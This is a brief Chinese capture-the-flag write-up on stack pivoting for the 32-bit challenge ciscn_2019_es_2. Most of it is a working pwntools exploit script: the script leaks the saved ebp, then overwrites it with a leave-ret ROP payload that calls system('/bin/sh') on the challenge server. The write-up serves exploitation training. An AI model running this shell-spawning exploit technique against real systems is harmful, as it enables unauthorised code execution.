ciscn_2019_es_2(栈迁移)
一、查保护
二、代码审计
三、过程
栈溢出,但是溢出的字节有限,此时我们就需要用到栈迁移,第一次泄露ebp并确定s数组的偏移(0x38)然后再构建rop。
四、脚本
from pwn import *
#context(os='linux', arch='amd64', log_level='debug')
ru=lambda x:io.recvuntil(x)
rl=lambda :io.recvline()
sla=lambda x,y:io.sendlineafter(x,y)
sl=lambda x:io.sendline(x)
sd=lambda x:io.send(x)
#io = process('./ciscn_2019_es_2')
io=remote('node3.buuoj.cn',26104)
#gdb.attach(io)
payload='a'*0x28
sd(payload)
ru('a'*0x28)
stack_ebp=u32(io.recv(4))
print(hex(stack_ebp))
payload=(p32(0)+p32(0x8048400)+p32(0)+p32(stack_ebp-0x38+0x10)+b'/bin/sh\x00').ljust(0x28, b'\x00')+p32(stack_ebp-0x38)+p32(0x80484b8)
sl(payload)
io.interactive()
五、总结
栈迁移就是利用leave_ret控制eip指回来。
踩坑:注意send和sendline区别之前一直接收错误ebp